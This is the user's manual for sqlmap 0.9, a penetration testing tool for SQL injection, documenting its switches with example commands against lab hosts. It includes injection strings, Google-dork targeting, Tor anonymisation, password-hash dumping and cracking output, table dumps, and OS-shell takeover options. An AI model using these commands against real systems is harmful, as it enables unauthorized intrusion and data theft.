sqlmap user's manual

by Bernardo Damele A. G., Miroslav Stampar

version 0.9, March 10, 2011
This document is the user's manual to use sqlmap.

1. Introduction

2. Features

3. History

4. Download and update

5. Usage

6. License and copyright

7. Disclaimer

8. Authors


1. Introduction

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a kick-ass detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

1.1 Requirements

sqlmap is developed in Python, a dynamic object-oriented interpreted programming language. This makes the tool independent from the operating system. It only requires the Python interpreter version equal or higher than 2.6. The interpreter is freely downloadable from its official site. To make it even easier, many GNU/Linux distributions come out of the box with Python interpreter installed and other Unices and Mac OSX too provide it packaged in their formats and ready to be installed. Windows users can download and install the Python setup-ready installer for x86, AMD64 and Itanium too.

sqlmap relies on the Metasploit Framework for some of its post-exploitation takeover features. You need to grab a copy of it from the download page - the required version is 3.5 or higher. For the ICMP tunneling out-of-band takeover technique, sqlmap requires Impacket library too.

If you are willing to connect directly to a database server (-d switch), without passing via a web application, you need to install Python bindings for the database management system that you are going to attack:

If you plan to attack a web application behind NTLM authentication or use the sqlmap update functionality (--update switch) you need to install respectively python-ntlm and python-svn libraries.

Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to take advantage of the sqlmap TAB completion and history support features in the SQL shell and OS shell. Note that these functionalities are available natively by Python standard readline library on other operating systems.

You can also choose to install Psyco library to eventually speed up the sqlmap algorithmic operations.

1.2 Scenario

Detect and exploit a SQL injection

Let's say that you are auditing a web application and found a web page that accepts dynamic user-provided values on GET or POST parameters or HTTP Cookie values or HTTP User-Agent header value. You now want to test if these are affected by a SQL injection vulnerability, and if so, exploit them to retrieve as much information as possible out of the web application's back-end database management system or even be able to access the underlying file system and operating system.

In a simple world, consider that the target url is:

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

Assume that:

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

is the same page as the original one and:

http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

differs from the original one, it means that you are in front of a SQL injection vulnerability in the id GET parameter of the index.php web application page which means that potentially no IDS/IPS, no web application firewall, no parameters' value sanitization is performed on the server-side before sending the SQL statement to the back-end database management system the web application relies on.

This is a quite common flaw in dynamic content web applications and it does not depend upon the back-end database management system nor on the web application programming language: it is a programmer code's security flaw. The Open Web Application Security Project rated on 2010 in their OWASP Top Ten survey this vulnerability as the most common and important web application vulnerability along with other injection flaws.

Back to the scenario, probably the SQL SELECT statement into get_int.php has a syntax similar to the following SQL query, in pseudo PHP code:

$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id'];

As you can see, appending any other syntatically valid SQL condition after a value for id such condition will take place when the web application passes the query to the back-end database management system that executes it, that is why the condition id=1 AND 1=1 is valid (True) and returns the same page as the original one, with the same content. This is the case of a boolean-based blind SQL injection vulnerability. However, sqlmap is able to detect any type of SQL injection and adapt its work-flow accordingly. Read below for further details.

Moreover, in this simple and easy to inject scenario it would be also possible to append, not just one or more valid SQL condition(s), but also stacked SQL queries, for instance something like [...]&id=1; ANOTHER SQL QUERY# if the web application technology supports stacked queries, also known as multiple statements.

Now that you found this SQL injection vulnerable parameter, you can exploit it by manipulating the id parameter value in the HTTP request.

There exist many resources on the Net explaining in depth how to prevent, detect and exploit SQL injection vulnerabilities in web application and it is recommended to read them if you are not familiar with the issue before going ahead with sqlmap.

Passing the original address, http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 to sqlmap, the tool will automatically:

Direct connection to the database management system

Up until sqlmap version 0.8, the tool has been yet another SQL injection tool, used by web application penetration testers/newbies/curious teens/computer addicted/punks and so on. Things move on and as they evolve, we do as well. Now it supports this new switch, -d, that allows you to connect from your machine to the database server's TCP port where the database management system daemon is listening on and perform any operation you would do while using it to attack a database via a SQL injection vulnerability.

1.3 Techniques

sqlmap is able to detect and exploit five different SQL injection types:

1.4 Demo

You can watch several demo videos, they are hosted on YouTube.

2. Features

Features implemented in sqlmap include:

2.1 Generic features

2.2 Fingerprint and enumeration features

2.3 Takeover features

Some of these techniques are detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.

3. History

3.1 2011

3.2 2010

3.3 2009

3.4 2008

3.5 2007

3.6 2006

4. Download and update

sqlmap can be downloaded from its SourceForge File List page. It is available in two formats:

You can also checkout the latest development version from the subversion repository:

$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

You can update it at any time to the latest development version by running:

$ python sqlmap.py --update

Or:

$ svn update

This is strongly recommended before reporting any bug to the mailing list.

5. Usage

$ python sqlmap.py -h

    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

Usage: sqlmap.py [options]

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be specified to set the source to
    get target urls from.

    -d DIRECT           Direct connection to the database
    -u URL, --url=URL   Target url
    -l LIST             Parse targets from Burp or WebScarab proxy logs
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target urls
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target url.

    --data=DATA         Data string to be sent through POST
    --cookie=COOKIE     HTTP Cookie header
    --cookie-urlencode  URL Encode generated cookie injections
    --drop-set-cookie   Ignore Set-Cookie header from response
    --user-agent=AGENT  HTTP User-Agent header
    --random-agent      Use randomly selected HTTP User-Agent header
    --referer=REFERER   HTTP Referer header
    --headers=HEADERS   Extra HTTP headers newline separated
    --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
    --auth-cred=ACRED   HTTP authentication credentials (name:password)
    --auth-cert=ACERT   HTTP authentication certificate (key_file,cert_file)
    --proxy=PROXY       Use a HTTP proxy to connect to the target url
    --proxy-cred=PCRED  HTTP proxy authentication credentials (name:password)
    --ignore-proxy      Ignore system default HTTP proxy
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --retries=RETRIES   Retries when the connection timeouts (default 3)
    --scope=SCOPE       Regexp to filter targets from provided proxy log
    --safe-url=SAFURL   Url address to visit frequently during testing
    --safe-freq=SAFREQ  Test requests between two visits to a given safe url

  Optimization:
    These options can be used to optimize the performance of sqlmap.

    -o                  Turn on all optimization switches
    --predict-output    Predict common queries output
    --keep-alive        Use persistent HTTP(s) connections
    --null-connection   Retrieve page length without actual HTTP response body
    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)
    --group-concat      Use GROUP_CONCAT MySQL technique in dumping phase

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts.

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to this value
    --os=OS             Force back-end DBMS operating system to this value
    --prefix=PREFIX     Injection payload prefix string
    --suffix=SUFFIX     Injection payload suffix string
    --tamper=TAMPER     Use given script(s) for tampering injection data

  Detection:
    These options can be used to specify how to parse and compare page
    content from HTTP responses when using blind SQL injection technique.

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (0-3, default 1)
    --string=STRING     String to match in page when the query is valid
    --regexp=REGEXP     Regexp to match in page when the query is valid
    --text-only         Compare pages based only on their textual content

  Techniques:
    These options can be used to tweak how specific SQL injection
    techniques are tested.

    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
    --union-char=UCHAR  Character to use to bruteforce number of columns

  Fingerprint:
    -f, --fingerprint   Perform an extensive DBMS version fingerprint

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements.

    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --is-dba            Detect if the DBMS current user is DBA
    --users             Enumerate DBMS users
    --passwords         Enumerate DBMS users password hashes
    --privileges        Enumerate DBMS users privileges
    --roles             Enumerate DBMS users roles
    --dbs               Enumerate DBMS databases
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    --search            Search column(s), table(s) and/or database name(s)
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table to enumerate
    -C COL              DBMS database table column to enumerate
    -U USER             DBMS user to enumerate
    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
    --start=LIMITSTART  First query output entry to retrieve
    --stop=LIMITSTOP    Last query output entry to retrieve
    --first=FIRSTCHAR   First query output word character to retrieve
    --last=LASTCHAR     Last query output word character to retrieve
    --sql-query=QUERY   SQL statement to be executed
    --sql-shell         Prompt for an interactive SQL shell

  Brute force:
    These options can be used to run brute force checks.

    --common-tables     Check existence of common tables
    --common-columns    Check existence of common columns

  User-defined function injection:
    These options can be used to create custom user-defined functions.

    --udf-inject        Inject custom user-defined functions
    --shared-lib=SHLIB  Local path of the shared library

  File system access:
    These options can be used to access the back-end database management
    system underlying file system.

    --file-read=RFILE   Read a file from the back-end DBMS file system
    --file-write=WFILE  Write a local file on the back-end DBMS file system
    --file-dest=DFILE   Back-end DBMS absolute filepath to write to

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system.

    --os-cmd=OSCMD      Execute an operating system command
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
    --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
    --os-bof            Stored procedure buffer overflow exploitation
    --priv-esc          Database process' user privilege escalation
    --msf-path=MSFPATH  Local path where Metasploit Framework 3 is installed
    --tmp-path=TMPPATH  Remote absolute path of temporary files directory

  Windows registry access:
    These options can be used to access the back-end database management
    system Windows registry.

    --reg-read          Read a Windows registry key value
    --reg-add           Write a Windows registry key value data
    --reg-del           Delete a Windows registry key value
    --reg-key=REGKEY    Windows registry key
    --reg-value=REGVAL  Windows registry key value
    --reg-data=REGDATA  Windows registry key value data
    --reg-type=REGTYPE  Windows registry key value type

  General:
    These options can be used to set some general working parameters.

    -x XMLFILE          Dump the data into an XML file
    -s SESSIONFILE      Save and resume all data retrieved on a session file
    -t TRAFFICFILE      Log all HTTP traffic into a textual file
    --flush-session     Flush session file for current target
    --eta               Display for each output the estimated time of arrival
    --update            Update sqlmap
    --save              Save options on a configuration INI file
    --batch             Never ask for user input, use the default behaviour

  Miscellaneous:
    --beep              Alert when sql injection found
    --check-payload     IDS detection testing of injection payload
    --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
    --forms             Parse and test forms on target url
    --gpage=GOOGLEPAGE  Use google dork results from specified page number
    --parse-errors      Parse DBMS error messages from response pages
    --replicate         Replicate dumped data into a sqlite3 database

5.1 Output verbosity

Switch: -v

This switch can be used to set the verbosity level of output messages. There exist seven levels of verbosity. The default level is 1 in which information, warning, error and critical messages and Python tracebacks (if any occur) will be displayed.

A reasonable level of verbosity to further understand what sqlmap does under the hood is level 2, primarily for the detection phase and the take-over functionalities. Whereas if you want to see the SQL payloads the tools sends, level 3 is your best choice. In order to further debug potential bugs or unexpected behaviours, we recommend you to set the verbosity to level 4 or above. This level is recommended to be used when you feed the developers with a bug report too.

5.2 Target

At least one of these options has to be provided.

Target URL

Switch: -u or --url

Run sqlmap against a single target URL. This switch requires an argument which is the target URL in the form http(s)://targeturl/[...].

Parse targets from Burp or WebScarab proxy logs

Switch: -l

Rather than providing a single target URL, it is possible to test and inject against HTTP requests proxied through Burp proxy or WebScarab proxy This switch requires an argument which is the proxy's HTTP requests log file.

Load HTTP request from a file

Switch: -r

One of the possibilities of sqlmap is loading of complete HTTP request from a textual file. That way you can skip usage of bunch of other options (e.g. setting of cookies, POSTed data, etc).

Sample content of a HTTP request file provided as argument to this switch:

POST /sqlmap/mysql/post_int.php HTTP/1.1
Host: 192.168.136.131
User-Agent: Mozilla/4.0

id=1

Process Google dork results as target addresses

Switch: -g

It is also possible to test and inject on GET parameters on the results of your Google dork.

This option makes sqlmap negotiate with the search engine its session cookie to be able to perform a search, then sqlmap will retrieve Google first 100 results for the Google dork expression with GET parameters asking you if you want to test and inject on each possible affected URL.

Example of Google dorking with expression site:yourdomain.com ext:php:

$ python sqlmap.py -g "site:yourdomain.com ext:php" -v 1

[hh:mm:38] [INFO] first request to Google to get the session cookie
[hh:mm:40] [INFO] sqlmap got 65 results for your Google dork expression, 59 of them are 
testable hosts
[hh:mm:41] [INFO] sqlmap got a total of 59 targets
[hh:mm:40] [INFO] url 1:
GET http://yourdomain.com/example1.php?foo=12, do you want to test this 
url? [y/N/q] n
[hh:mm:43] [INFO] url 2:
GET http://yourdomain.com/example2.php?bar=24, do you want to test this 
url? [y/N/q] n
[hh:mm:42] [INFO] url 3:
GET http://thirdlevel.yourdomain.com/news/example3.php?today=483, do you 
want to test this url? [y/N/q] y
[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example3.php?today=483
[...]

Load options from a configuration INI file

Switch: -c

It is possible to pass user's options from a configuration INI file, an example is sqlmap.conf.

Note that if you also provide other options from command line, those are evaluated when running sqlmap and overwrite those provided in the configuration file.

5.3 Request

These options can be used to specify how to connect to the target url.

HTTP data

Option: --data

By default the HTTP method used to perform HTTP requests is GET, but you can implicitly change it to POST by providing the data to be sent in the POST requests. Such data, being those parameters, are tested for SQL injection as well as any provided GET parameters.

HTTP Cookie header

Switches: --cookie, --drop-set-cookie and --cookie-urlencode

This feature can be useful in two ways:

Either reason brings you to need to send cookies with sqlmap requests, the steps to go through are the following:

Note that the HTTP Cookie header values are usually separated by a ; character, not by an &. sqlmap can recognize these as separate sets of parameter=value too, as well as GET and POST parameters.

If at any time during the communication, the web application responds with Set-Cookie headers, sqlmap will automatically use its value in all further HTTP requests as the Cookie header. sqlmap will also automatically test those values for SQL injection. This can be avoided by providing the switch --drop-set-cookie - sqlmap will ignore any coming Set-Cookie header.

Vice versa, if you provide a HTTP Cookie header with --cookie switch and the target URL sends an HTTP Set-Cookie header at any time, sqlmap will ask you which set of cookies to use for the following HTTP requests.

sqlmap by default does not URL-encode generated cookie payloads, but you can force it by using the --cookie-urlencode switch. Cookie content encoding is not declared by HTTP protocol standard in any way, so it is solely the matter of web application's behaviour.

Note that also the HTTP Cookie header is tested against SQL injection if the --level is set to 2 or above. Read below for details.

HTTP User-Agent header

Switches: --user-agent and --random-agent

By default sqlmap performs HTTP requests with the following User-Agent header value:

sqlmap/0.9 (http://sqlmap.sourceforge.net)

However, it is possible to fake it with the --user-agent switch by providing custom User-Agent as the switch argument.

Moreover, by providing the --random-agent switch, sqlmap will randomly select a User-Agent from the ./txt/user-agents.txt textual file and use it for all HTTP requests within the session.

Some sites perform a server-side check on the HTTP User-Agent header value and fail the HTTP response if a valid User-Agent is not provided, its value is not expected or is blacklisted by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows:

[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to 
force the HTTP User-Agent header with option --user-agent or --random-agent

Note that also the HTTP User-Agent header is tested against SQL injection if the --level is set to 3 or above. Read below for details.

HTTP Referer header

Switch: --referer

It is possible to fake the HTTP Referer header value. By default no HTTP Referer header is sent in HTTP requests if not explicitly set.

Note that also the HTTP Referer header is tested against SQL injection if the --level is set to 3 or above. Read below for details.

Extra HTTP headers

Switch: --headers

It is possible to provide extra HTTP headers by setting the --headers switch. Each header must be separated by a newline and it is much easier to provide them from the configuration INI file. Have a look at the sample sqlmap.conf file for an example.

HTTP protocol authentication

Switches: --auth-type and --auth-cred

These options can be used to specify which HTTP protocol authentication the web server implements and the valid credentials to be used to perform all HTTP requests to the target application.

The three supported HTTP protocol authentication mechanisms are:

While the credentials' syntax is username:password.

Example of valid syntax:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
  --auth-type Basic --auth-cred "testuser:testpass"

HTTP protocol certificate authentication

Switch: --auth-cert

This switch should be used in cases when the web server requires proper client-side certificate for authentication. Supplied values should be in the form: key_file,cert_file, where key_file should be the name of a PEM formatted file that contains your private key, while cert_file should be the name for a PEM formatted certificate chain file.

HTTP(S) proxy

Switches: --proxy, --proxy-cred and --ignore-proxy

It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) requests to the target URL. The syntax of HTTP(S) proxy value is http://url:port.

If the HTTP(S) proxy requires authentication, you can provide the credentials in the format username:password to the --proxy-cred switch.

If, for any reason, you need to stay anonymous, instead of passing by a single predefined HTTP(S) proxy server, you can configure a Tor client together with Privoxy (or similar) on your machine as explained on the Tor client guide and use the Privoxy daemon, by default listening on 127.0.0.1:8118, as the sqlmap proxy.

The switch --ignore-proxy should be used when you want to run sqlmap against a target part of a local area network by ignoring the system-wide set HTTP(S) proxy server setting.

Delay between each HTTP request

Switch: --delay

It is possible to specify a number of seconds to hold between each HTTP(S) request. The valid value is a float, for instance 0.5 means half a second. By default, no delay is set.

Seconds to wait before timeout connection

Switch: --timeout

It is possible to specify a number of seconds to wait before considering the HTTP(S) request timed out. The valid value is a float, for instance 10.5 means ten seconds and a half. By default 30 seconds are set.

Maximum number of retries when the HTTP connection timeouts

Switch: --retries

It is possible to specify the maximum number of retries when the HTTP(S) connection timeouts. By default it retries up to three times.

Filtering targets from provided proxy log using regular expression

Switch: --scope

Rather than using all hosts parsed from provided logs with switch -l, you can specify valid Python regular expression to be used for filtering desired ones.

Example usage:

$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

Avoid your session to be destroyed after too many unsuccessful requests

Switches: --safe-url and --safe-freq

Sometimes web applications or inspection technology in between destroys the session if a certain number of unsuccessful requests is performed. This might occur during the detection phase of sqlmap or when it exploits any of the blind SQL injection types. Reason why is that the SQL payload does not necessarily returns output and might therefore raise a signal to either the application session management or the inspection technology.

To bypass this limitation set by the target, you can provide two switches:

This way, sqlmap will visit every a predefined number of requests a certain safe URL without performing any kind of injection against it.

5.4 Optimization

These switches can be used to optimize the performance of sqlmap.

Bundle optimization

Switch: -o

This switch is an alias that implicitly sets the following:

Read below for details about every single switch.

Output prediction

Switch: --predict-output

TODO

HTTP Keep-Alive

Switch: --keep-alive

TODO

HTTP NULL connection

Switch: --null-connection

TODO

Concurrent HTTP(S) requests

Switch: --threads

It is possible to specify the maximum number of concurrent HTTP(S) requests that sqlmap is allowed to do. This feature relies on the multi-threading concept and inherits both its pro and its cons.

This features applies to the brute-force switches and when the data fetching is done through any of the blind SQL injection techniques. For the latter case, sqlmap first calculates the length of the query output in a single thread, then starts the multi-threading. Each thread is assigned to retrieve one character of the query output. The thread ends when that character is retrieved - it takes up to 7 HTTP(S) requests with the bisection algorithm implemented in sqlmap.

Note that the multi-threading switch does not affect any other SQL injection technique. The maximum number of concurrent requests is set to 10 for performance and site reliability reasons.

MySQL GROUP_CONCAT() speed up

Switch: --group-concat

TODO

5.5 Injection

These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts.

Testable parameter(s)

Switch: -p

By default sqlmap tests all GET parameters and POST parameters. When the value of --level is >= 2 it tests also HTTP Cookie header values. When this value is >= 3 it tests also HTTP User-Agent and HTTP Referer header value for SQL injections. It is however possible to manually specify a comma-separated list of parameter(s) that you want sqlmap to test. This will bypass the dependence on the value of --level too.

For instance, to test for GET parameter id and for HTTP User-Agent only, provide -p id,user-agent.

Force the database management system name

Switch: --dbms

By default sqlmap automatically detects the web application's back-end database management system. As of version 0.9, sqlmap fully supports the following database management systems:

If for any reason sqlmap fails to detect the back-end DBMS once a SQL injection has been identified or if you want to avoid an active fingeprint, you can provide the name of the back-end DBMS yourself (e.g. postgresql). For MySQL and Microsoft SQL Server provide them respectively in the form MySQL <version> and Microsoft SQL Server <version>, where <version> is a valid version for the DBMS; for instance 5.0 for MySQL and 2005 for Microsoft SQL Server.

In case you provide --fingerprint together with --dbms, sqlmap will only perform the extensive fingerprint for the specified database management system only, read below for further details.

Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system. If you do not know it, let sqlmap automatically fingerprint it for you.

Force the database management system operating system name

Switch: --os

By default sqlmap automatically detects the web application's back-end database management system underlying operating system when this information is a dependence of any other provided switch. At the moment the fully supported operating systems are two:

It is possible to force the operating system name if you already know it so that sqlmap will avoid doing it itself.

Note that this option is not mandatory and it is strongly recommended to use it only if you are absolutely sure about the back-end database management system underlying operating system. If you do not know it, let sqlmap automatically identify it for you.

Custom injection payload

Switches: --prefix and --suffix

In some circumstances the vulnerable parameter is exploitable only if the user provides a specific suffix to be appended to the injection payload. Another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the SQL injection by directly providing a injection payload prefix and suffix.

Example of vulnerable source code:

$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";

To detect and exploit this SQL injection, you can either let sqlmap detect the boundaries (as in combination of SQL payload prefix and suffix) for you during the detection phase, or provide them on your own. For example:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
  -p id --prefix "')" --suffix "AND ('abc'='abc"
[...]

This will result in all sqlmap requests to end up in a query as follows:

$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";

Which makes the query syntactically correct.

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide custom boundaries, but sometimes in real world application it is necessary to provide it when the injection point is within nested JOIN queries for instance.

Tamper injection data

Switch: --tamper

TODO

5.6 Detection

These options can be used to specify how to parse and compare page content from HTTP responses when using blind SQL injection technique.

Level

Switch: --level

TODO

Risk

Switch: --risk

TODO

TODO: Page comparison

Switches: --string and --regexp

By default the distinction of a True query by a False one (basic concept for Inferential blind SQL injection attacks) is done comparing injected requests page content MD5 hash with the original not injected page content MD5 hash. Not always this concept works because sometimes the page content changes at each refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisment banner or any other part of the HTML which is render dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap makes it possible to manually provide a string which is always present on the not injected page and on all True injected query pages, but that it is not on the False ones. This can also be achieved by providing a regular expression. Such information is easy for an user to retrieve, simply try to inject on the affected URL parameter an invalid value and compare original (not injected) page content with the injected wrong page content to identify which string or regular expression match is on not injected and True page only. This way the distinction will be based upon string presence or regular expression match and not page MD5 hash comparison.

As you can see, the string after Dynamic content changes its value every second. In the example it is just a call to PHP time() function, but on the real world it is usually much more than that.

Looking at the HTTP responses page content you can see that the first five lines of code do not change at all. So choosing for instance the word luther as an output that is on the not injected page content and it is not on the False page content (because the query condition returns no output so luther is not displayed on the page content) and passing it to sqlmap, you are able to inject anyway.

You can also specify a regular expression to match rather than a string if you prefer.

As you can see, when one of these options is specified, sqlmap skips the URL stability test.

Consider one of these options a MUST when dealing with a page with content that changes itself at each refresh without modifying the user's input.

5.7 Techniques

These options can be used to tweak how specific SQL injection techniques are tested.

Seconds to delay the DBMS response for time-based blind SQL injection

Switch: --time-sec

It is possible to set the seconds to delay the response when testing for time-based blind SQL injection, by providing the --time-sec option followed by an integer. By default delay is set to 5 seconds.

TODO

Switch: --union-cols

TODO

TODO

Switch: --union-char

TODO

5.8 Fingerprint

TODO: Extensive database management system fingerprint

Switches: -f or --fingerprint

By default the web application's back-end database management system fingerprint is performed requesting a database specific function which returns a known static value. By comparing these value with the returned value it is possible to identify if the back-end database is effectively the one that sqlmap expected. Depending on the DBMS being tested, a SQL dialect syntax which is syntatically correct depending upon the back-end DBMS is also tested.

After identifying an injectable vector, sqlmap fingerprints the back-end database management system and go ahead with the injection with its specific syntax within the limits of the database architecture.

As you can see, sqlmap automatically fingerprints the web server operating system and the web application technology by parsing some HTTP response headers.

If you want to perform an extensive database management system fingerprint based on various techniques like specific SQL dialects and inband error messages, you can provide the --fingerprint option.

As you can see from the last example, sqlmap first tested for MySQL, then for Oracle, then for PostgreSQL since the user did not forced the back-end database management system name with option --dbms.

If you want an even more accurate result, based also on banner parsing, you can also provide the -b or --banner option.

As you can see, sqlmap was also able to fingerprint the back-end DBMS operating system by parsing the DBMS banner value.

As you can see, from the Microsoft SQL Server banner, sqlmap was able to correctly identify the database management system patch level. The Microsoft SQL Server XML versions file is the result of a sqlmap parsing library that fetches data from Chip Andrews' SQLSecurity.com site and outputs it to the XML versions file.

5.9 Enumeration

These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.

Banner

Switch: -b or --banner

Most of the modern database management systems have a function and/or an environment variable which returns the database management system version and eventually details on its patch level, the underlying system. Usually the function is version() and the environment variable is @@version, but this vary depending on the target DBMS.

Session user

Switch: --current-user

On the majority of modern DBMSes is possible to retrieve the database management system's user which is effectively performing the query against the back-end DBMS from the web application.

Current database

Switch: --current-db

It is possible to retrieve the database management system's database name that the web application is connected to.

Detect whether or not the session user is a database administrator

Switch: --is-dba

It is possible to detect if the current database management system session user is a database administrator, also known as DBA. sqlmap will return True if it is, viceversa False.

List database management system users

Switch: --users

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the list of users.

List and crack database management system users password hashes

Switches: --passwords and -U

When the session user has read access to the system table containing information about the DBMS users' passwords, it is possible to enumerate the password hashes for each database management system user. sqlmap will first enumerate the users, then the different password hashes for each of them.

Example against a PostgreSQL target:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/tmp/sqlmap/txt/wordlist.txt] 
[hh:mm:46] [INFO] loading dictionary from: '/tmp/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
    password hash: md5d7d880f96044b72d0bba108ace96d1e4
    clear-text password: testpass
[*] testuser [1]:
    password hash: md599e5ea7a6f7c3269995cba3927fd0093
    clear-text password: testpass

Not only sqlmap enumerated the DBMS users and their passwords, but it also recognized the hash format to be PostgreSQL, asked the user whether or not to test the hashes against a dictionary file and identified the clear-text password for the postgres user, which is usually a DBA along the other user, testuser, password.

This feature has been implemented for all DBMS where it is possible to enumerate users' password hashes, including Oracle and Microsoft SQL Server pre and post 2005.

You can also provide the -U option to specify the specific user who you want to enumerate and eventually crack the password hash(es). If you provide CU as username it will consider it as an alias for current user and will retrieve the password hash(es) for this user.

List database management system users privileges

Switches: --privileges and -U

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the privileges for each database management system user. By the privileges, sqlmap will also show you which are database administrators.

You can also provide the -U option to specify the user who you want to enumerate the privileges.

If you provide CU as username it will consider it as an alias for current user and will enumerate the privileges for this user.

List database management system users roles

Switches: --roles and -U

When the session user has read access to the system table containing information about the DBMS users, it is possible to enumerate the roles for each database management system user.

You can also provide the -U option to specify the user who you want to enumerate the privileges.

If you provide CU as username it will consider it as an alias for current user and will enumerate the privileges for this user.

This feature is only available when the DBMS is Oracle.

List database management system's databases

Switch: --dbs

When the session user has read access to the system table containing information about available databases, it is possible to enumerate the list of databases.

Note that this feature is not available if the database management system is Oracle.

Enumerate database's tables

Switches: --tables and -D

When the session user has read access to the system table containing information about databases' tables, it is possible to enumerate the list of tables for a specific database management system's databases.

If you do not provide a specific database with switch -D, sqlmap will enumerate the tables for all DBMS databases.

Note that on Oracle you have to provide the TABLESPACE_NAME instead of the database name.

Enumerate database table columns

Switches: --columns, -C, -T and -D

When the session user has read access to the system table containing information about database's tables, it is possible to enumerate the list of columns for a specific database table. sqlmap also enumerates the data-type for each column.

This feature depends on the option -T to specify the table name and optionally on -D to specify the database name. When the database name is not specified, the current database name is used. You can also provide the -C option to specify the table columns name like the one you provided to be enumerated.

Example against a MySQL target:

$ python sqlmap.py -u "http://debiandev/sqlmap/mysql/get_int.php?id=1" --columns -D testdb \
  -T users -C name
[...]
Database: testdb
Table: users
[2 columns]
+---------+---------------+
| Column  | Type          |
+---------+---------------+
| name    | varchar(500)  |
| surname | varchar(1000) |
+---------+---------------+

Note that on PostgreSQL you have to provide public or the name of a system database. That's because it is not possible to enumerate other databases tables, only the tables under the schema that the web application's user is connected to, which is always aliased by public.

Dump database table entries

Switches: --dump, -C, -T, -D, --start, --stop, --first and --last

When the session user has read access to a specific database's table it is possible to dump the table entries.

This functionality depends on switch -T to specify the table name and optionally on switch -D to specify the database name. If the table name is provided, but the database name is not, the current database name is used.

Example against a Firebird target:

$ python sqlmap.py -u "http://debiandev/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME   | SURNAME    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

You can also provide a comma-separated list of the specific columns to dump with the -C switch.

sqlmap also generates for each table dumped the entries in a CSV format textual file. You can see the absolute path where sqlmap creates the file by providing a verbosity level greater than or equal to 1.

If you want to dump only a range of entries, then you can provide switches --start and/or --stop to respectively start to dump from a certain entry and stop the dump at a certain entry. For instance, if you want to dump only the first entry, provide --stop 1 in your command line. Vice versa if, for instance, you want to dump only the second and third entry, provide --start 1 --stop 3.

